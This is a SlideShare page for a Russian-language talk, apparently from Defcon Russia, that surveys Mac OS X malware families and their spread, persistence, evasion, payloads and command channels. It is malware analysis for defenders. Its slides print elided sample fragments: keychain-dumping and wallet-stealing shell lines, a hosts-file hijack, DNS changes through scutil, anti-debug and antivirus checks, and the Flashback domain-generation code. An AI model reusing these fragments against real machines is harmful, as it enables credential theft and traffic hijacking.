SlideShare una empresa de Scribd logo
1 de 29
Descargar para leer sin conexión
Mac OS X

malware overview
Коллекция угроз для

  Mac OS X

+ Mach-O
+ Scripts
+ Java
                            705
                       уникальных файлов
                          1 ноября 2012
- zip
- dmg
- pkg/mpkg
Trojan.Fakealert

Включая:
MacSweeper (2008)
MacDefender (2011)
…

Формат:
Mach-O
Objective-C

Цель:
                      13%
                      Fakealert
вымогательство
BackDoor.Flashback

Включая:
42 версии
с 09.2011 по 04.2012

                       39%
                       Flashback
Формат:
Mach-O
C/C++

Цель:
                            13%
                            Fakealert
монетизация трафика
RAT
(Remote Administration Tool)

Включая:
Hellraiser
                                                15%
                                                RAT
BlackHole
Wirenet
Jacksbot
                               39%
                               Flashback
IRC.Bot
Keylogger
…
Формат:
Mach-O
                                    13%
                                    Fakealert
Objective-C, REALbasic, Java
Цель:
наблюдение и контроль
APT
(Advanced Persistent Threat)

Включая:
Muxler/Revir/Imuler
                                                15%
                                                RAT
Olyx
Lamadai
Macontrol
                               39%
                               Flashback
Sabpub
DaVinci

Формат:
Mach-O
                                    13%
                                    Fakealert
Objective-C, С/C++
Цель:
наблюдение и контроль
Exploits
Включая:
CVE-2008-5353
                                            15%
                                            RAT
CVE-2009-0563
CVE-2009-0565
CVE-2011-3544
                           39%
                           Flashback
CVE-2012-0507
…

Формат:
Java
                                13%
                                Fakealert
Microsoft Word
Цель:
запуск полезной нагрузки
Other
Включая:
Merin/DevilRobber
                                     15%
                                     RAT
RSPlug/DnsChange
OpinionSpy
Inqtana
                    39%
                    Flashback
Iservice
Codecm
Firesheep                            19%
Jnana
Lamzev
                         13%         Other
                         Fakealert
Leap
Opener
Rubilyn
…
КРИТЕРИИ СРАВНЕНИЯ
1.   Распространение
2.   Установка в системе
3.   Самозащита
4.   Полезная нагрузка
5.   Коммуникация
1. Распространение
                                         1.1. Партнерки
                                         1.2. Социальная инженерия
                                         1.3. Эксплоиты

                                         Август 2008
                                         mac-codec.com:
                                         support@cashcodec.com
                                         andy_com@inbox.ru

                                         Ноябрь 2011
                                         codecm.com:
                                         tzah.ye@gmail.com
                                         allpremiumsoft.com
                                         installerex.com




http://update.codecm.com/installer.dmg
1. Распространение
1.1. Партнерки
1.2. Социальная инженерия
1.3. Эксплоиты

Trojan.Fakealert
Trojan.Muxler/Revir
Trojan.Merin/DevilRobber
BackDoor.Olyx
BackDoor.Macontrol
BackDoor.Flashback
BackDoor.DaVinci
…
a) Microsoft Office Word
                           1. Распространение
                           1.1. Партнерки
                           1.2. Социальная инженерия
                           1.3. Эксплоиты

                           MS09-027
                           CVE-2008-5353
                           CVE-2011-3544
                           CVE-2012-0507
                           …
b) Java
                           BackDoor.Flashback
                           BackDoor.Macontrol
                           BackDoor.Lamadai
                           BackDoor.Sabpub
                           …
a) Установочные пакеты
  PackageInfo:
                                                    2. Установка в системе
  <pkg-info ... install-location="/" auth="root">   2.1. Повышение привелегий
  Distribution.dist:
  <pkg-ref ... auth="Root">                         2.2. Автозагрузка


                                                    Mac.Iservice
                                                    Trojan.Fakealert
                                                    BackDoor.Flashback
                                                    BackDoor.DaVinci
                                                    …

b) Сервис авторизации
  AuthorizationCreate
  AuthorizationExecuteWithPrivileges
a) Элементы автозагрузки (Login, Startup items)
                                                           2. Установка в системе
   ~/Library/StartupItems/
   /Library/StartupItems/                                  2.1. Повышение привелегий
   /System/Library/StartupItems/
   /Library/Preferences/com.apple.SystemLoginItems.plist
                                                           2.2. Автозагрузка


                                                           Mac.Opener
                                                           Mac.Iservice
                                                           BackDoor.Macontrol
                                                           BackDoor.Sabpub
                                                           BackDoor.DaVinci
b) Запуск через launchd agent                              BackDoor.Muxler/Imuler
   ~/Library/LaunchAgents
                                                           BackDoor.Flashback
   /Library/LaunchAgents                                   …
   /Library/LaunchDaemons
   /System/Library/LaunchAgents
   /System/Library/LaunchDaemons
a) Шифрование файлов
     FileAgent   -   дроппер Trojan.Muxler/Revir
                                                          3. Самозашита
     .cnf        -   имя файла для открытия картинки      3.1. Упаковка
     .confr      -   картинка в качестве приманки
     .conft      -   шифрованный файл RC4 от .confr       3.2. Обфускация
b) Инфицированный файл                                    3.3. Нежелательный софт
                                                          3.4. Rootkit
                                                          Trojan.Muxler/Revir
                                                          BackDoor.DaVinci
                                                          BackDoor.Macontrol

                                                          http://upx.sourceforge.net/




c) Использование UPX
    до     7/44        7bcdd1e241dd37d10ccbafddd066b31f

 после     1/44        19b710185a2e997c4f03710d83fe099b


    до 37/44          e88027e4bfc69b9d29caef6bae0238e8

 после 0/44           2fe211ffc97efface1b521d5cb941979
a) Мусорный скрипт, программный код
                                         3. Самозашита
  #!/bin/sh
  x=cat "$0" |wc -l|awk '{print
                                         3.1. Упаковка
  $1}';x=expr $x - 2;tail -$x "$0" |tr
  ...                                    3.2. Обфускация
                                         3.3. Нежелательный софт
b) Шифрование строк                      3.4. Rootkit
                                         Trojan.DnsChange/RSPlug
                                         BackDoor.Flashback
                                         BackDoor.Wirenet
                                         Trojan.Merin/DevilRobber




c) Привязка к железу (UUID)
a) Список файлов или процессов
                                                                  3. Самозашита
   /Library/Little Snitch
   /Developer/Applications/Xcode.app/Contents/MacOS/Xcode         3.1. Упаковка
   /Applications/VirusBarrier X6.app
   /Applications/iAntiVirus/iAntiVirus.app                        3.2. Обфускация
   /Applications/avast!.app
   /Applications/ClamXav.app                                      3.3. Нежелательный софт
   /Applications/HTTPScoop.app
   /Applications/Packet Peeper.app                                3.4. Rootkit
   ...
   DetectProcessByName("Wireshark")
                                                                  BackDoor.Muxler/Imuler
b) Обнаружение VMWare                                             BackDoor.Flashback
                                                                  BackDoor.DaVinci



c) Отключение XProtect
  /System/Library/LaunchDaemons/com.apple.xprotectupdater.plist
  /usr/libexec/XProtectUpdater


d) AmIBeingDebugged
   mib[0]   =   CTL_KERN;
   mib[1]   =   KERN_PROC;
   mib[2]   =   KERN_PROC_PID;
   mib[3]   =   getpid();
   sysctl(mib,sizeof(mib)/sizeof(*mib),&info,&size,0,0);
a) User-mode
               Method Swizzling
                                                3. Самозашита
 (SMProcessController->filteredProcesses)       3.1. Упаковка
                                                3.2. Обфускация
   root                                         3.3. Нежелательный софт
                                                3.4. Rootkit
                                                BackDoor.DaVinci
                                                Trojan.Rubilyn
    user

                                                http://feedbeef.blogspot.com/
                                                http://reverse.put.as/
b) Kernel-mode                                  http://ho.ax/
1.sysent:               2.allproc:
…                                 hide
                        proc             proc
getdirentries                     proc
getdirentries64
                       3.kmod,sLoadedKexts:
getdirentriesattr
write_nocancel                    hide
                         kext            kext
…                                 kext
3. Самозашита
                                                      3.1. Упаковка
                                                      3.2. Обфускация
                                                      3.3. Нежелательный софт
                                                      3.4. Rootkit
                                                      Эксперимент: использование
                                                      DTrace для просмотра sysent


dtrace:::BEGIN
{                                                             Чистая система
 table = (struct sysent *)(((uint64_t)&`nsysent) -
((uint64_t)sizeof(struct sysent) * `nsysent));

printf("nopenttt0x%p 0x%pn",                      Snow Leopard
 (long *)&`open, table[5].sy_call);
                                                        sysent     proc        kext
printf("getdirentriestt0x%p 0x%pn",
 (long *)&`getdirentries, table[196].sy_call);         Lion
printf("getdirentries64tt0x%p 0x%pn",                sysent     proc        kext
 (long *)&`getdirentries64, table[344].sy_call);
                                                       Mountain Lion
 printf("getdirentriesattrt0x%p 0x%pn",
  (long *)&`getdirentriesattr, table[222].sy_call);     sysent     proc        kext
}
3. Самозашита
3.1. Упаковка
3.2. Обфускация
3.3. Нежелательный софт
3.4. Rootkit
Эксперимент: использование
DTrace для просмотра sysent


     Процесс заражения


      BackDoor.DaVinci.1
1b22e4324f4089a166aae691dff2e636


        0x00057FEE
Ah56K->Ah57K
3. Самозашита
3.1. Упаковка
3.2. Обфускация
3.3. Нежелательный софт
3.4. Rootkit
Эксперимент: использование
DTrace для просмотра sysent


      Результат заражения


 Snow Leopard
  sysent             proc              kext
 Lion *
  sysent             proc              kext
 Mountain Lion **
  sysent             proc              kext
 * Необходимы дополнительные изменения в коде
 установщика и основного модуля бэкдора.
 ** Ошибка в функции _findSymbolInFatBinary64.
$ sudo dtrace -s /usr/bin/newproc.d
...                                             3. Самозашита
309 32b ./mac                                   3.1. Упаковка
311 32b /Users/lytic/Library/Preferences/
GARiiQ6c.app/2KExxk5s.ecH
                                                3.2. Обфускация
...                                             3.3. Нежелательный софт
333 64b /sbin/kextload                          3.4. Rootkit
/Users/lytic/Library/Preferences/GARiiQ6c.app
/Contents/Resources/6zvddOLP.h_k.kext
...                                             Эксперимент: использование
                                                  DTrace для обнаружения
$ sudo kextunload
/Users/lytic/Library/Preferences/GARiiQ6c.app
                                                скрытых процессов и файлов
/Contents/Resources/6zvddOLP.h_k.kext
(kernel) Kext com.apple.mdworker not found                 Лечение
for unload request.
Failed to unload com.apple.mdworker -
(libkern/kext) not found.
                                                 http://dtrace.org/blogs/
$ ls -al ~/Library/Preferences/G*
ls: /Users/lytic/Library/Preferences/G*:         newproc.d
No such file or directory                        syscallbyproc.d
$ ls -al ~/Library/Preferences/GARiiQ6c.app
total 2776                                       filebyproc.d
...                                              pathopens.d
$ sudo rm -rf                                    opensnoop
~/Library/Preferences/GARiiQ6c.app
                                                 ...
a) Скрипты для сбора данных
                                                4. Полезная нагрузка
    #!/bin/bash                                 4.1. Кража паролей
    ...
    cp -R /Library/Keychains /.info/Library/
                                                4.2. Перехват трафика
    ...                                         4.3. RAT, APT, …
    security dump-keychain -d > s_dump.txt
    ...
    cat "$HOME/.bash_history" >> $D_FILE
    ...                                         Mac.Opener
    ... /.bash_history ...                      Trojan.Merin/DevilRobber
    .../Bitcoin/wallet.dat ...
    .../1Password/1Password.agilekeychain ...   BackDoor.Wirenet
                                                ...
b) Программная реализация
  Thunderbird, SeaMonkey, Firefox,
  Chrome, Chromium, Opera, Pidgin, …
a) Подмена настроек
                                               4. Полезная нагрузка
    #!/bin/bash
    ...
                                               4.1. Кража паролей
    /usr/sbin/scutil << EOF                    4.2. Перехват трафика
    open
    d.init                                     4.3. RAT, APT, …
    d.add ServerAddresses * $s1 $s2
    set State:/Network/Service/$PSID/DNS
    ...
                                               Trojan.RSPlug/DnsChange
    #!/bin/sh
    ...                                        Trojan.Hosts
    echo '91.224.160.26 google.com' | tee -a
    /private/etc/hosts                         BackDoor.Flashback
    ...
                                               ...
b) Перехват функций
    DYLD_INSERT_LIBRARIES
    ~/Library/Preferences/Preferences.dylib
Core:                                               4. Полезная нагрузка
…
                                         IPC:            4.1. Кража паролей
0x1 File                               XPC Service
0x40 KeyLog                          Shared Memory       4.2. Перехват трафика
0x140 Call                          /tmp/launchch-%d
0x180 Url
                                                         4.3. RAT, APT, …
0x200 Calendar
0x200 AddressBook
0x240 Device
0x280 Mouse                                              BackDoor.DaVinci
0x2C0 Crisis
0x1001 Messages
                    Apple            InputManager
                                  InputManager
0x1003 Calllist     Events          …
                                    InputManager
                                    0x11 FileContent
0x1011 App
                                   0x40 Keyboard
0x1220 Position                    0x140 Audio
0xB9B9 Screenshot                  0x180 URL
0xC2C2 Microphone                  0x181 Snapshot
0xC6C6 Chat                        0x280 Mouse
0xD9D9 Clipboard                   0x2C0 Crisis
0xE9E9 Webcam                      0x1011 Application
                                   0xC6C6 SkypeChat
   Network                         0xC6C6 Adium
                     /dev/pfCPU    0xC6C6 MS Messenger
   Operation                       0xD9D9 Clipboard



 Configuration

                        Kext
                       32/64
a) Использование FTP, IRC, ...
                                                                 5. Коммуникация
  barney899@ftp.drivehq.com:                                     5.1. Передача данных
  0x03171624_0x60ae9711_00000000.zip   18.11.12
  0x6cea81c5_0x17ede460_0x1eab5346.zip 18.11.12                  5.2. Генерация имен
  0x45c94f11_0x236608e2_0x0201a8c0.zip 18.11.12


b) Шифрование трафика
                                                                 Trojan.Merin/DevilRobber
                                                                 BackDoor.Flashback
                                                                 BackDoor.Lamadai
                                                                 BackDoor.Wirenet
        BASE64(ZLIB(RC4(answ, MD5(UUID))))                       BackDoor.DaVinci
                                                                 …
c) Сессия соединения
data = BID + SHA1(username) + 'OSX0000000000000'
post = AES128CBC(RND1 + RND2 + data + SHA1(data + CKEY), SIGN)
skey = SHA1(CKEY + AES128CBC(answ, SIGN) + RND1)
a) Алгоритм генерации доменных имен
                                                                           5. Коммуникация
 ...,{11:3:amZucQ==},{12:3:eGxvZQ==},{13:3:cnBkdA==},{14:3:YWVmYg==},      5.1. Передача данных
 {15:3:b2N1bg==},{16:3:ZHBsdQ==},{17:3:amVjdg==},{18:3:a2RzZA==},
 {19:3:bmV3bA==},{20:3:aGNsYQ==},{21:3:ZHFkbw==},{22:3:a3hwZw==}...        5.2. Генерация имен
                 19.11.2012
   newljfnqxloe + org|.com|.co.uk|.cn|.in

 ...                                                                       BackDoor.Flashback
 day1 = day ^ (day << 16);
 ...
 month1 = month ^ (month << 16);
 ...
 year1 = year ^ (year << 16);
 ...
 size = (((16 * (month1 & 0xF8) ^ ((month1 ^ 4 * month1) >> 25) ^ ((day1
 ^ (day1 << 13)) >> 19)) ^ ((year1 ^ (8 * year1)) >> 11)) & 3)+13;
 ...



                19.11.2012
 fljcmiialsxtsk + .com|.net|.info|.in|.kz


b) Валидация сервера
OS X: About Gatekeeper
        http://support.apple.com/kb/HT5290
            About file quarantine in OS X
        http://support.apple.com/kb/HT3662

               XProtect.plist
              19 ноября 2012
 1)   OSX.RSPlug.A           12)   OSX.DevilRobber.A
 2)   OSX.Iservice.A         13)   OSX.FlashBack.B
 3)   OSX.Iservice.B         14)   OSX.DevilRobber.B
 4)   OSX.HellRTS            15)   OSX.FlashBack.C
 5)   OSX.HellRTS            16)   OSX.FileSteal.i
 6)   OSX.OpinionSpy         17)   OSX.Revir.ii
 7)   OSX.MacDefender.A      18)   OSX.Mdropper.i
 8)   OSX.MacDefender.B      19)   OSX.FkCodec.i
 9)   OSX.QHost.WB.A         20)   OSX.MaControl.i
10)   OSX.Revir.A            21)   OSX.Revir.iii
11)   OSX.FlashBack.A        22)   OSX.Revir.iv
спасибо

Más contenido relacionado

Similar a Sorokin mac os x malware overview

Эволюция BackDoor.Flashback
Эволюция BackDoor.FlashbackЭволюция BackDoor.Flashback
Эволюция BackDoor.Flashback
hexminer
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Dmitry Evteev
 
Анализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийАнализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторий
Positive Hack Days
 
Воюем за ресурсы (ZFConf2011)
Воюем за ресурсы (ZFConf2011)Воюем за ресурсы (ZFConf2011)
Воюем за ресурсы (ZFConf2011)
Alexey Kachayev
 
Компьютерные вирусы
Компьютерные вирусыКомпьютерные вирусы
Компьютерные вирусы
Boris Kizko
 
ZFConf 2011: Воюем за ресурсы: Повышение производительности Zend Framework пр...
ZFConf 2011: Воюем за ресурсы: Повышение производительности Zend Framework пр...ZFConf 2011: Воюем за ресурсы: Повышение производительности Zend Framework пр...
ZFConf 2011: Воюем за ресурсы: Повышение производительности Zend Framework пр...
ZFConf Conference
 
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Vadim Kruchkov
 
Масштабируемые кроссплатформенные веб-приложения / Илья Пухальский (Epam)
Масштабируемые кроссплатформенные веб-приложения / Илья Пухальский (Epam)Масштабируемые кроссплатформенные веб-приложения / Илья Пухальский (Epam)
Масштабируемые кроссплатформенные веб-приложения / Илья Пухальский (Epam)
Ontico
 

Similar a Sorokin mac os x malware overview (20)

Эволюция BackDoor.Flashback
Эволюция BackDoor.FlashbackЭволюция BackDoor.Flashback
Эволюция BackDoor.Flashback
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
Positive Hack Days. Гостев. Киберпреступность: вчера, сегодня, завтра…
Positive Hack Days. Гостев. Киберпреступность: вчера, сегодня, завтра…Positive Hack Days. Гостев. Киберпреступность: вчера, сегодня, завтра…
Positive Hack Days. Гостев. Киберпреступность: вчера, сегодня, завтра…
 
IBM Proventia IPS
IBM Proventia IPSIBM Proventia IPS
IBM Proventia IPS
 
PHP daemons into social games
PHP daemons into social gamesPHP daemons into social games
PHP daemons into social games
 
Этичный хакинг
Этичный хакингЭтичный хакинг
Этичный хакинг
 
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdfMalware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
Malware. DCRAT (DARK CRYSTAL RAT) [RU].pdf
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложений
 
Анализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторийАнализ работы антивирусных лабораторий
Анализ работы антивирусных лабораторий
 
Воюем за ресурсы (ZFConf2011)
Воюем за ресурсы (ZFConf2011)Воюем за ресурсы (ZFConf2011)
Воюем за ресурсы (ZFConf2011)
 
Компьютерные вирусы
Компьютерные вирусыКомпьютерные вирусы
Компьютерные вирусы
 
Jenkins в docker in mesos in ...
Jenkins в docker in mesos in ...Jenkins в docker in mesos in ...
Jenkins в docker in mesos in ...
 
Особенности использования машинного обучения при защите от DDoS-атак
Особенности использования машинного обучения при защите от DDoS-атакОсобенности использования машинного обучения при защите от DDoS-атак
Особенности использования машинного обучения при защите от DDoS-атак
 
Mykonos лучший способ защитить ваш web сайт и web-приложение от атак
Mykonos лучший способ защитить ваш web сайт и web-приложение от атакMykonos лучший способ защитить ваш web сайт и web-приложение от атак
Mykonos лучший способ защитить ваш web сайт и web-приложение от атак
 
ZFConf 2011: Воюем за ресурсы: Повышение производительности Zend Framework пр...
ZFConf 2011: Воюем за ресурсы: Повышение производительности Zend Framework пр...ZFConf 2011: Воюем за ресурсы: Повышение производительности Zend Framework пр...
ZFConf 2011: Воюем за ресурсы: Повышение производительности Zend Framework пр...
 
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
Пора ли отправлять С на свалку истории? Пишем демонов на PHP с использованием...
 
Trojans, worms
Trojans, wormsTrojans, worms
Trojans, worms
 
Троянские программы.
Троянские программы.Троянские программы.
Троянские программы.
 
Масштабируемые кроссплатформенные веб-приложения / Илья Пухальский (Epam)
Масштабируемые кроссплатформенные веб-приложения / Илья Пухальский (Epam)Масштабируемые кроссплатформенные веб-приложения / Илья Пухальский (Epam)
Масштабируемые кроссплатформенные веб-приложения / Илья Пухальский (Epam)
 
Процесс разработки и тестирования с Docker + gitlab ci
Процесс разработки и тестирования с  Docker + gitlab ciПроцесс разработки и тестирования с  Docker + gitlab ci
Процесс разработки и тестирования с Docker + gitlab ci
 

Más de DefconRussia

[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC [DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
DefconRussia
 
Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23
DefconRussia
 

Más de DefconRussia (20)

[Defcon Russia #29] Борис Савков - Bare-metal programming на примере Raspber...
[Defcon Russia #29] Борис Савков -  Bare-metal programming на примере Raspber...[Defcon Russia #29] Борис Савков -  Bare-metal programming на примере Raspber...
[Defcon Russia #29] Борис Савков - Bare-metal programming на примере Raspber...
 
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...
[Defcon Russia #29] Александр Ермолов - Safeguarding rootkits: Intel Boot Gua...
 
[Defcon Russia #29] Алексей Тюрин - Spring autobinding
[Defcon Russia #29] Алексей Тюрин - Spring autobinding[Defcon Russia #29] Алексей Тюрин - Spring autobinding
[Defcon Russia #29] Алексей Тюрин - Spring autobinding
 
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
[Defcon Russia #29] Михаил Клементьев - Обнаружение руткитов в GNU/Linux
 
Георгий Зайцев - Reversing golang
Георгий Зайцев - Reversing golangГеоргий Зайцев - Reversing golang
Георгий Зайцев - Reversing golang
 
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC [DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
[DCG 25] Александр Большев - Never Trust Your Inputs or How To Fool an ADC
 
Cisco IOS shellcode: All-in-one
Cisco IOS shellcode: All-in-oneCisco IOS shellcode: All-in-one
Cisco IOS shellcode: All-in-one
 
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...
Олег Купреев - Обзор и демонстрация нюансов и трюков из области беспроводных ...
 
HTTP HOST header attacks
HTTP HOST header attacksHTTP HOST header attacks
HTTP HOST header attacks
 
Attacks on tacacs - Алексей Тюрин
Attacks on tacacs - Алексей ТюринAttacks on tacacs - Алексей Тюрин
Attacks on tacacs - Алексей Тюрин
 
Weakpass - defcon russia 23
Weakpass - defcon russia 23Weakpass - defcon russia 23
Weakpass - defcon russia 23
 
nosymbols - defcon russia 20
nosymbols - defcon russia 20nosymbols - defcon russia 20
nosymbols - defcon russia 20
 
static - defcon russia 20
static  - defcon russia 20static  - defcon russia 20
static - defcon russia 20
 
Zn task - defcon russia 20
Zn task  - defcon russia 20Zn task  - defcon russia 20
Zn task - defcon russia 20
 
Vm ware fuzzing - defcon russia 20
Vm ware fuzzing  - defcon russia 20Vm ware fuzzing  - defcon russia 20
Vm ware fuzzing - defcon russia 20
 
Nedospasov defcon russia 23
Nedospasov defcon russia 23Nedospasov defcon russia 23
Nedospasov defcon russia 23
 
Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23Advanced cfg bypass on adobe flash player 18 defcon russia 23
Advanced cfg bypass on adobe flash player 18 defcon russia 23
 
Miasm defcon russia 23
Miasm defcon russia 23Miasm defcon russia 23
Miasm defcon russia 23
 
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...
Andrey Belenko, Alexey Troshichev - Внутреннее устройство и безопасность iClo...
 
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
George Lagoda - Альтернативное использование вэб сервисов SharePoint со сторо...
 

Sorokin mac os x malware overview

  • 1. Mac OS X malware overview
  • 2. Коллекция угроз для Mac OS X + Mach-O + Scripts + Java 705 уникальных файлов 1 ноября 2012 - zip - dmg - pkg/mpkg
  • 4. BackDoor.Flashback Включая: 42 версии с 09.2011 по 04.2012 39% Flashback Формат: Mach-O C/C++ Цель: 13% Fakealert монетизация трафика
  • 5. RAT (Remote Administration Tool) Включая: Hellraiser 15% RAT BlackHole Wirenet Jacksbot 39% Flashback IRC.Bot Keylogger … Формат: Mach-O 13% Fakealert Objective-C, REALbasic, Java Цель: наблюдение и контроль
  • 6. APT (Advanced Persistent Threat) Включая: Muxler/Revir/Imuler 15% RAT Olyx Lamadai Macontrol 39% Flashback Sabpub DaVinci Формат: Mach-O 13% Fakealert Objective-C, С/C++ Цель: наблюдение и контроль
  • 7. Exploits Включая: CVE-2008-5353 15% RAT CVE-2009-0563 CVE-2009-0565 CVE-2011-3544 39% Flashback CVE-2012-0507 … Формат: Java 13% Fakealert Microsoft Word Цель: запуск полезной нагрузки
  • 8. Other Включая: Merin/DevilRobber 15% RAT RSPlug/DnsChange OpinionSpy Inqtana 39% Flashback Iservice Codecm Firesheep 19% Jnana Lamzev 13% Other Fakealert Leap Opener Rubilyn …
  • 9. КРИТЕРИИ СРАВНЕНИЯ 1. Распространение 2. Установка в системе 3. Самозащита 4. Полезная нагрузка 5. Коммуникация
  • 10. 1. Распространение 1.1. Партнерки 1.2. Социальная инженерия 1.3. Эксплоиты Август 2008 mac-codec.com: support@cashcodec.com andy_com@inbox.ru Ноябрь 2011 codecm.com: tzah.ye@gmail.com allpremiumsoft.com installerex.com http://update.codecm.com/installer.dmg
  • 11. 1. Распространение 1.1. Партнерки 1.2. Социальная инженерия 1.3. Эксплоиты Trojan.Fakealert Trojan.Muxler/Revir Trojan.Merin/DevilRobber BackDoor.Olyx BackDoor.Macontrol BackDoor.Flashback BackDoor.DaVinci …
  • 12. a) Microsoft Office Word 1. Распространение 1.1. Партнерки 1.2. Социальная инженерия 1.3. Эксплоиты MS09-027 CVE-2008-5353 CVE-2011-3544 CVE-2012-0507 … b) Java BackDoor.Flashback BackDoor.Macontrol BackDoor.Lamadai BackDoor.Sabpub …
  • 13. a) Установочные пакеты PackageInfo: 2. Установка в системе <pkg-info ... install-location="/" auth="root"> 2.1. Повышение привелегий Distribution.dist: <pkg-ref ... auth="Root"> 2.2. Автозагрузка Mac.Iservice Trojan.Fakealert BackDoor.Flashback BackDoor.DaVinci … b) Сервис авторизации AuthorizationCreate AuthorizationExecuteWithPrivileges
  • 14. a) Элементы автозагрузки (Login, Startup items) 2. Установка в системе ~/Library/StartupItems/ /Library/StartupItems/ 2.1. Повышение привелегий /System/Library/StartupItems/ /Library/Preferences/com.apple.SystemLoginItems.plist 2.2. Автозагрузка Mac.Opener Mac.Iservice BackDoor.Macontrol BackDoor.Sabpub BackDoor.DaVinci b) Запуск через launchd agent BackDoor.Muxler/Imuler ~/Library/LaunchAgents BackDoor.Flashback /Library/LaunchAgents … /Library/LaunchDaemons /System/Library/LaunchAgents /System/Library/LaunchDaemons
  • 15. a) Шифрование файлов FileAgent - дроппер Trojan.Muxler/Revir 3. Самозашита .cnf - имя файла для открытия картинки 3.1. Упаковка .confr - картинка в качестве приманки .conft - шифрованный файл RC4 от .confr 3.2. Обфускация b) Инфицированный файл 3.3. Нежелательный софт 3.4. Rootkit Trojan.Muxler/Revir BackDoor.DaVinci BackDoor.Macontrol http://upx.sourceforge.net/ c) Использование UPX до 7/44 7bcdd1e241dd37d10ccbafddd066b31f после 1/44 19b710185a2e997c4f03710d83fe099b до 37/44 e88027e4bfc69b9d29caef6bae0238e8 после 0/44 2fe211ffc97efface1b521d5cb941979
  • 16. a) Мусорный скрипт, программный код 3. Самозашита #!/bin/sh x=cat "$0" |wc -l|awk '{print 3.1. Упаковка $1}';x=expr $x - 2;tail -$x "$0" |tr ... 3.2. Обфускация 3.3. Нежелательный софт b) Шифрование строк 3.4. Rootkit Trojan.DnsChange/RSPlug BackDoor.Flashback BackDoor.Wirenet Trojan.Merin/DevilRobber c) Привязка к железу (UUID)
  • 17. a) Список файлов или процессов 3. Самозашита /Library/Little Snitch /Developer/Applications/Xcode.app/Contents/MacOS/Xcode 3.1. Упаковка /Applications/VirusBarrier X6.app /Applications/iAntiVirus/iAntiVirus.app 3.2. Обфускация /Applications/avast!.app /Applications/ClamXav.app 3.3. Нежелательный софт /Applications/HTTPScoop.app /Applications/Packet Peeper.app 3.4. Rootkit ... DetectProcessByName("Wireshark") BackDoor.Muxler/Imuler b) Обнаружение VMWare BackDoor.Flashback BackDoor.DaVinci c) Отключение XProtect /System/Library/LaunchDaemons/com.apple.xprotectupdater.plist /usr/libexec/XProtectUpdater d) AmIBeingDebugged mib[0] = CTL_KERN; mib[1] = KERN_PROC; mib[2] = KERN_PROC_PID; mib[3] = getpid(); sysctl(mib,sizeof(mib)/sizeof(*mib),&info,&size,0,0);
  • 18. a) User-mode Method Swizzling 3. Самозашита (SMProcessController->filteredProcesses) 3.1. Упаковка 3.2. Обфускация root 3.3. Нежелательный софт 3.4. Rootkit BackDoor.DaVinci Trojan.Rubilyn user http://feedbeef.blogspot.com/ http://reverse.put.as/ b) Kernel-mode http://ho.ax/ 1.sysent: 2.allproc: … hide proc proc getdirentries proc getdirentries64 3.kmod,sLoadedKexts: getdirentriesattr write_nocancel hide kext kext … kext
